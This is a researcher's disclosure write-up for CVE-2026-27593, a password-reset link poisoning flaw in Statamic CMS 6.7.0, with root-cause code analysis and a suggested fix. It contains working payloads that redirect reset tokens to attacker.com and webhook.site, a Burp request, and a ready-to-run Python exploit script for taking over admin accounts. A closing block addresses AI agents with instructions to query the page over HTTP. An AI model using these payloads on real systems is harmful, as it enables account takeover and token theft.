# CVE-2026-27593 (Critical)

## Password Reset Link Poisoning Lead to Admin Account Take over with 1-click&#x20;

* in `statamic CMS`
* Version `6.7.0`
* The vulnerability was discovered by someone, then it was fixed, and then I came back with another idea to reproduce the vulnerability again.

<figure><img src="/files/JwaoYfLk2MqV4sKqGiOQ" alt=""><figcaption></figcaption></figure>

{% embed url="<https://statamic.com/>" %}

#### open redirct + Reset Link Poisoning = 1-click Account Take over&#x20;

<figure><img src="/files/TTNFt94DoRqeIXlDnYA9" alt=""><figcaption></figcaption></figure>

## What i Found ??&#x20;

**The version where I discovered** `6.7.0` **this vulnerability was a recent release** , one that had already been patched multiple times by other researchers.

Even so, I was confident I'd find something new.

My starting point was an **open redirect vulnerability**, but it was out of scope for their bug bounty program. So the goal became chaining it with another flaw to amplify the overall impact.

That's exactly what happened. During code analysis, I uncovered a **hidden parameter** — one not exposed in the UI or the req body . By chaining it with the open redirect, I was able to successfully deliver the payload to the target.

A solid find.

### What is the vulnerability?

The application accepts a hidden parameter `_reset_url` in the password reset request.

When a normal user resets their password, the request looks like this:

```
email=victim@example.com
```

<figure><img src="/files/LCoJSRymLnEhexZAjAsI" alt=""><figcaption></figcaption></figure>

### But!!!

there is a `_reset_url` => **hidden backend parameter** , not visible in the the POST Req , but still accepted by the server. An attacker can add it manually to poison the reset link:

```
email=victim@example.com
_reset_url=http://app.com@attacker.com/steal
```

The server sends the reset email to the victim normally. But the **token inside the link goes directly to the attacker's server** — not the real app.

The moment the victim clicks **"Reset Password"** in their email → the attacker gets the token → **full account takeover, one click.**

## How Did I Do This (Expliot - Steps )?

#### Step 1 — Configure SMTP

I set up an **SMTP configuration** to confirm the vulnerability more accurately and realistically, and to be able to receive emails directly.

#### Step 2 — Manipulate the Reset URL Parameter

Instead of sending a normal email as shown in the request screenshot, I sent the following crafted payload:

```
email=admin-account@gmail.com&_reset_url=http://app.com:8000@webhook.site/603180b4-2555-465c-bb22-419d48b187ee
```

This causes the password reset email to be delivered to the **admin's inbox**, but with a **tampered reset link** pointing to my webhook.

<figure><img src="/files/AnI2uFup39QYymnTbCpf" alt=""><figcaption></figcaption></figure>

> Below the PoC is a simple script that reproduces the vulnerability. All you need to do is change the webhook URL to yours, set the admin email, and set the URL where the CMS is hosted.

#### Step 3 — Capture the Token

By embedding this URL:

```
http://app.com:8000@webhook.site/603180b4-2555-465c-bb22-419d48b187ee
```

The moment the admin **clicks the reset link**, the **password reset token** is sent directly to **my webhook** — giving me full access to it.

<figure><img src="/files/Tdn3HA4YeoLMAaWr1g8a" alt=""><figcaption></figcaption></figure>

### Go The Reset Admin Account Token :

```
64865cfde0ad61ada43842b81aae07e2403fd3b2efa4f7b539608aa024cc04b5
```

### We Are Done :

Now Attacker Can use this token to reset the admin password :

<http://app.com:8000/cp/auth/password/reset/64865cfde0ad61ada43842b81aae07e2403fd3b2efa4f7b539608aa024cc04b5>

<figure><img src="/files/X2gC8GvlhQKhvSsNCm3H" alt=""><figcaption></figcaption></figure>

***

#### Is It Really That Simple?

**Yes** — this is a **critical security vulnerability**.

> It allows an attacker to silently intercept password reset tokens by manipulating the `_reset_url` parameter, effectively hijacking account takeover flows without the victim noticing.

***

### Why does the check fail?

The app tries to block external URLs in `URL.php`:

```php
private function getDomainFromAbsolute(string $url): string
{
    return preg_replace('/(https*:\/\/[^\/]+)(.*)/', '$1', $url);
}
```

This regex extracts `http://app.com` from the poisoned URL:

```
http://app.com@attacker.com/steal
         ↑ treated as username — attacker.com is the real destination
```

The check sees `app.com` and thinks the URL is safe. In reality, **`attacker.com` is where the token goes.**

***

### Vulnerable Code (step by step)

**Step 1 — Controller accepts `_reset_url` from the request** (`ForgotPasswordController.php`):

```php
public function sendResetLinkEmail(Request $request)
{
    if ($url = $request->_reset_url) {
        throw_if(URL::isExternalToApplication($url), ValidationException::...);
        PasswordReset::resetFormUrl(URL::makeAbsolute($url)); // ← attacker URL stored
    }
    return $this->traitSendResetLinkEmail($request);
}
```

**Step 2 — Token is appended to the attacker URL** (`PasswordReset.php`):

```php
$url = static::$url
    ? sprintf('%s?token=%s', static::$url, $token)  // ← token leaked here
    : $defaultUrl;
```

**Step 3 — Email sent to victim with poisoned link** (`PasswordReset.php`):

```php
->action(__('Reset Password'), PasswordResetManager::url($this->token, ...))
```

Victim receives an email with a link like:

```
http://app.com@attacker.com/steal?token=aabbcc...ff
```

Victim clicks **"Reset Password"** → token lands on attacker's server → attacker resets the password → **account taken over.**

***

### Proof of Concept

#### Burp Suite (Manual)

```http
POST /cp/auth/password/email HTTP/1.1
Host: app.com:8000
Content-Type: application/x-www-form-urlencoded
X-XSRF-TOKEN: <token from cookie>
Cookie: XSRF-TOKEN=...; statamic-session=...

email=victim%40example.com&_reset_url=http%3A%2F%2Fapp.com%3A8000%40webhook.site%2F<your-id>
```

#### Automated Script (Easy)

```python
import requests
from urllib.parse import unquote

# ═══════════════════════════════
TARGET   = "http://app.com:8000"
EMAIL    = "victim@example.com"
WEBHOOK  = "https://webhook.site/your-id-here"
# ═══════════════════════════════

session = requests.Session()
session.get(TARGET)

xsrf    = unquote(session.cookies["XSRF-TOKEN"])
payload = f"{TARGET}@webhook.site/{WEBHOOK.split('webhook.site/')[1]}"

r = session.post(
    f"{TARGET}/!/auth/password/email",
    data={"email": EMAIL, "_reset_url": payload},
    headers={"X-XSRF-TOKEN": xsrf},
    allow_redirects=False,
)

print(f"Status : {r.status_code}")
print(f"Payload: {payload}")
print("Check  :", WEBHOOK)
```

#### Note Change Var Value :)

```
TARGET => Your App url
EMAIL => Admin Account Email
WEBHOOK => Your Webhook link , you can get one from : https://webhook.site/
```

Check the webhook — you will receive:

```
GET /?token=aabbccddeeff...ff
```

Use this token to set a new password for the victim's account directly.

***

### Fix

**Simplest fix** — remove the feature entirely (`ForgotPasswordController.php`):

```php
public function sendResetLinkEmail(Request $request)
{
    // Never trust _reset_url from user input
    return $this->traitSendResetLinkEmail($request);
}
```

***

### Thank you all! I hope you enjoyed the article. If you have any questions, I’m here to help. <a href="#id-8fd6" id="id-8fd6"></a>

Remember My name : everythingBlackkk

Made by ❤

Github : <https://github.com/everythingBlackkk>

Linkedin : [www.linkedin.com/in/everythingblackkk](http://www.linkedin.com/in/everythingblackkk)

X : <https://x.com/0xblackkk>

Youtube : <https://www.youtube.com/@everythingBlackkk>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://everythingblackkk.gitbook.io/everythingblackkk/my-cve/cve-2026-27593-critical.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
